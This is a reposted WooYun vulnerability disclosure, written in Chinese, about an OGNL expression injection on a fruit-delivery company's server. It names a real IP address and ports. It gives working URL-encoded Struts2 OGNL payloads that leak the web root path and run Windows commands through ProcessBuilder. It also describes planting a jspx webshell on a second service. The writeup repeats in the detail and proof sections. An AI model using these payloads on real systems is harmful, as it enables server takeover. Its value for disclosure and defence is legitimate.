天天果园某平台表达式注入(已Getshell)

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-06-15: 细节已通知厂商并且等待厂商处理中
2016-06-15: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-06-20: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

"Some of us don't get to grow old with the one we love."
— "I'll go old with her, Mr. Reese, just from afar."

某天,阳光明媚,乌云密布,睡了个午觉,梦见某ip存在表达式注入,醒来打开电脑,凭借零散的记忆,然后就Getshell了

详细说明:

http://180.167.72.216:89

fruitday6.png





发现了一个表达式注入



fruitday5.png





payload

code 区域
%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D





爆出绝对路径



尝试写shell



然而failed,访问其他页面都需要登录



想啊想,不能就这样放弃了呀



nmap扫一下,发现88端口还有一个web服务



fruitday2.png





巧的是



如果关闭了弹窗的话会被重定向到一个帮助文件,这个是不需要登录的





于是在89端口的表达式注入那里

code 区域
%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'cmd','/c','dir e:\*.jsp /s'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23matt%3D%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23matt.getWriter().println('~'%2B'~~2')%2C%23matt.getWriter().println(%23e)%2C%23matt.getWriter().println('2~'%2B'~~')%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D





找到了88端口的这个web服务的物理路径



写shell



直接jsp肯定是不行的,然而jspx





fruitday4.png







fruitday1.png











总的来说就是从A服务的命令执行写shell到B服务进行访问的故事



漏洞证明:

http://180.167.72.216:89

fruitday6.png





发现了一个表达式注入



fruitday5.png





payload

code 区域
%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D





爆出绝对路径



尝试写shell



然而failed,访问其他页面都需要登录



想啊想,不能就这样放弃了呀



nmap扫一下,发现88端口还有一个web服务



fruitday2.png





巧的是



如果关闭了弹窗的话会被重定向到一个帮助文件,这个是不需要登录的





于是在89端口的表达式注入那里

code 区域
%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'cmd','/c','dir e:\*.jsp /s'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23matt%3D%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23matt.getWriter().println('~'%2B'~~2')%2C%23matt.getWriter().println(%23e)%2C%23matt.getWriter().println('2~'%2B'~~')%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D





找到了88端口的这个web服务的物理路径



写shell



直接jsp肯定是不行的,然而jspx





fruitday4.png







fruitday1.png











总的来说就是从A服务的命令执行写shell到B服务进行访问的故事



修复方案:

你懂的比我多呐>3<

版权声明:转载请注明来源 A1opex@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-06-20 07:40

厂商回复:

 

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。『鹦鹉搜索』

百度收录:百度已收录『查看详情』

本文链接:天天果园某平台表达式注入(已Getshell) - https://www.15qq.cn/wooyun/167.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知